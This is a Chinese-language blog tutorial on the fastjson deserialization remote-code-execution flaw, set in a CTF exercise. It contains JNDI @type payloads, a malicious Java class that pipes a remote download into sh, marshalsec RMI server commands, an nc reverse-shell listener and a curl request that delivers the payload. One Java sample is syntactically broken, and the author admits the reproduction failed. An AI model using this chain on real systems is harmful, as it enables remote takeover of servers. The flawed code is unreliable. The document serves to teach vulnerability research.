fastjson 反序列化漏洞原理以及利用过程
Fastjson 简介
fastjson框架:https://github.com/alibaba/fastjson
fastjson-jndi:https://github.com/earayu/fastjson_jndi_poc
fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。
提供两个主要接口:
JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化
版本:Fastjson <= 1.2.80
漏洞原理
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。
由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。
那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行,形成RCE。
【JNDI提供了查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等】
FastJson 操作
序列化
序列化时,调用了构造方法和get 方法。反序列化时。调用了构造方法。
反序列化
有@type参数,set、get、构造方法都有调用!
无@type参数,都未调用。
因此能够执行反序列化的根源定位在 @type
【fastjson通过指定@type的值来实现定位某类,而这种方法进行反序列化,会执行类的构造方法和属性相关的get,set方法,也造成了这个漏洞的产生】
调用链及payload分析
payload
//LADP 方式
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
//RMI 方式
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";
调用链分析
**java类 jdbcRowSetImpl ** 位于 jdk 1.8安装目录下,在rt.jar中。【更高版本不一定存在该文件,请自行尝试】
查找set,get等类。定位到setAutoCommit()函数。
由于this.conn 为null,所以会调用this.connect()函数。
connect()会对dataSourceName属性进行一个InitialContext.lookup (dataSourceName)的操作。
【lookup方法,是JNDI中访问远程服务器获取远程对象的方法,其参数为服务器地址。】
小结
具体说,就是JNDI 借助目标服务器上的一个类jdbcRowSetImpl,让目标服务器访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit),得到响应后执行相应操作。
调用链流程:
发送payload至执行端,执行端对json数据进行反序列化,由于读取@type参数类,导致执行setAutoCommit(),setAutoCommit()执行了connect()函数。 connect()会对dataSourceName属性进行一个InitialContext.lookup(dataSourceName)的操作,从而实现rce【加载了远端的恶意class字节码并执行,达到rce效果】。
利用过程
【以ctfshow举办的RealWorldCTF渗透挑战赛第二弹最后一步渗透环境为例】
【也可自行搭建环境,进行测试】
攻击流程
整个攻击流程如下:
1. 我们在本地机器编写一个攻击类,并且得到它的class字节码文件M。
2. 通过自定义payload(请求报文),给目标环境A发送攻击请求。
3. 目标环境A对报文中的json数据进行反序列化,触发漏洞,通过RMI服务,造成目标环境A访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit)。
4. 目标机器A加载攻击类M字节码,被攻击,完成rce。
生成并挂载恶意class文件
首先生成恶意class,完成反弹shell任务
import java.lang.Runtime;
import java.lang.Process;
public class ctfshow {
public static void main(String[] args) {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","curl https://xx.xx.xx.xx:9999 |sh"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
}
或者
public class ctfshow {
public static void ctfshow() {
// static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/bash", "-c", "curl https://xx.xx.xx.xx:9999 |sh" };
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
// }
}
public static void main(String[] args) {
}
}
挂载恶意class
python -m http.server 8888
开启RMI服务(Java远程方法调用),启动监听
【 使用marshalsec工具,搭建RMI环境】
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8888/#ctfshow" 3389
监听反弹
nc -lvvnp 9999
发送恶意payload
x.json文件
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xx.xx.xx.xx:3389/ctfshow",
"autoCommit":true
}
}
a.sh文件
curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json
使用curl发送json包
nc 成功,获得反弹shell
【这里复现的时候,没有成功反弹shell】
【猜测原因:开启RMI服务时,使用的marshalsec-0.0.3-SNAPSHOT-all.jar不正确(网上找的,这里应该自己生成jar包),导致写的攻击脚本没利用上,反弹shell失败】
参考链接:
(191条消息) FastJson 反序列化漏洞原理分析_fastjson漏洞原理_Buffedon的博客-博客
(191条消息) Fastjson反序列化漏洞原理分析及复现_fastjson的反序列化和普通反序列化漏洞的区别是什么_I